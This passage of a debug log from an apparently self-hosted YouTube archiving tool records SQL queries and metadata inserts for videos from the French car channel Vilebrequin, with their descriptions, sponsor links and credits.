1, [], 98, ~U[2023-11-09 17:15:02Z], ~U[2026-04-20 05:42:36Z], ~U[2026-04-20 05:42:36Z], "Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "Essai Nissan GTR R34 : Rapide et furieuse", "yUaxmvK1qyY", 2047, false, "https://www.youtube.com/watch?v=yUaxmvK1qyY", "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", false, 1, ~U[2023-11-09 17:15:02Z]] 07:42:36.159 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=267.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:36.160 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.3ms idle=18.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:36.164 [debug] QUERY OK source="media_items" db=1.0ms idle=19.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 07:42:36.164 [debug] Current batch of media processed. Will check again in 1000ms 07:42:37.165 [debug] Current batch of media processed. Will check again in 1000ms 07:42:38.166 [debug] Current batch of media processed. Will check again in 1000ms 07:42:39.167 [debug] Current batch of media processed. Will check again in 1000ms 07:42:40.171 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "duration" => 2449, "filename" => "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", "id" => "dE7aHyX_0PY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dE7aHyX_0PY", "playlist_index" => 6, "timestamp" => 1698945301, "title" => "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "upload_date" => "20231102"} 07:42:40.173 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1267.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:40.174 [debug] QUERY OK source="sources" db=1.1ms idle=878.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:40.181 [debug] QUERY OK source="media_items" db=6.1ms idle=879.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-02 17:15:01Z], 1] 07:42:40.185 [debug] QUERY OK source="media_items" db=2.7ms idle=886.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "642685f3-85e0-4164-a892-01ad0bf40648", "dE7aHyX_0PY", 2449, false, "https://www.youtube.com/watch?v=dE7aHyX_0PY", 6, "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", false, false, false, 1, [], 98, ~U[2023-11-02 17:15:01Z], ~U[2026-04-20 05:42:40Z], ~U[2026-04-20 05:42:40Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "dE7aHyX_0PY", 2449, false, "https://www.youtube.com/watch?v=dE7aHyX_0PY", "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", false, 1, ~U[2023-11-02 17:15:01Z]] 07:42:40.187 [debug] QUERY OK source="sources" db=1.8ms idle=272.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:40.189 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.1ms idle=14.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:40.191 [debug] QUERY OK source="media_items" db=1.4ms idle=14.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 07:42:40.191 [debug] Current batch of media processed. Will check again in 1000ms 07:42:41.193 [debug] Current batch of media processed. Will check again in 1000ms 07:42:42.194 [debug] Current batch of media processed. Will check again in 1000ms 07:42:42.792 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:43.195 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "duration" => 1667, "filename" => "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", "id" => "-T_CoEUkFBE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-T_CoEUkFBE", "playlist_index" => 7, "timestamp" => 1698336900, "title" => "Essai Ford GT : la supercar oubliée", "upload_date" => "20231026"} 07:42:43.196 [debug] QUERY OK source="sources" db=0.7ms idle=1900.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:43.197 [debug] QUERY OK source="sources" db=0.7ms idle=1901.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:43.204 [debug] QUERY OK source="media_items" db=5.8ms idle=1279.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-26 16:15:00Z], 1] 07:42:43.209 [debug] QUERY OK source="media_items" db=3.8ms idle=412.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "Essai Ford GT : la supercar oubliée", "ec436b88-3296-4ae6-b8d9-1fac36a18384", "-T_CoEUkFBE", 1667, false, "https://www.youtube.com/watch?v=-T_CoEUkFBE", 7, "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", false, false, false, 1, [], 98, ~U[2023-10-26 16:15:00Z], ~U[2026-04-20 05:42:43Z], ~U[2026-04-20 05:42:43Z], "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "Essai Ford GT : la supercar oubliée", "-T_CoEUkFBE", 1667, false, "https://www.youtube.com/watch?v=-T_CoEUkFBE", "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", false, 1, ~U[2023-10-26 16:15:00Z]] 07:42:43.211 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=284.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:43.213 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.3ms idle=15.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:43.214 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=15.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 07:42:43.214 [debug] Current batch of media processed. Will check again in 1000ms 07:42:44.215 [debug] Current batch of media processed. Will check again in 1000ms 07:42:45.218 [debug] Current batch of media processed. Will check again in 1000ms 07:42:46.219 [debug] Current batch of media processed. Will check again in 1000ms 07:42:47.220 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "duration" => 2430, "filename" => "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", "id" => "SBgLYUbmG4Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SBgLYUbmG4Y", "playlist_index" => 8, "timestamp" => 1697732100, "title" => "Vultech FORD ( et Carroll Shelby )", "upload_date" => "20231019"} 07:42:47.226 [debug] QUERY OK source="sources" db=3.5ms queue=2.3ms idle=1281.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:47.229 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=929.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:47.233 [debug] QUERY OK source="media_items" db=3.4ms queue=0.3ms idle=932.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-19 16:15:00Z], 1] 07:42:47.237 [debug] QUERY OK source="media_items" db=2.6ms idle=936.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 